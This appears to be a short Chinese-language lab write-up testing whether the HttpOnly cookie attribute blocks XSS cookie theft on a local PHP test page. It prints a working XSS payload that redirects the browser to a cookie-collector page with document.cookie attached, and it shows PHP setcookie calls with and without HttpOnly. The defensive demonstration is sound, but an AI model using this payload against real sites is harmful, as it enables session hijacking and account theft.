测试cookie是否设置httponly属性防护XSS攻击

测试内容：

本次测试环境，搭建一个包含XSS漏洞的php环境。

地址：

http://localhost/home.php

如图所示：

存在xss漏洞，获取cookie的代码为：

<script>document.location = 'http://localhost/cookie_collect.php?cookie=' + document.cookie;</script>

获取COOKIE的页面为：http://localhost/cookie_collect.php

如图所示：

测试01

未设置httponly属性，cookie设置为：

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);

?>

测试结果：

获取到cookie的内容，如图所示：

访问日志内容为：

测试结果：利用跨站漏洞可以获取cookie内容。

测试02

设置httponly属性，cookie设置为：

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, true);

?>

测试结果：

未获取到cookie的内容，如图所示：

访问日志内容为：

测试结果：利用跨站漏洞不能够获取cookie内容。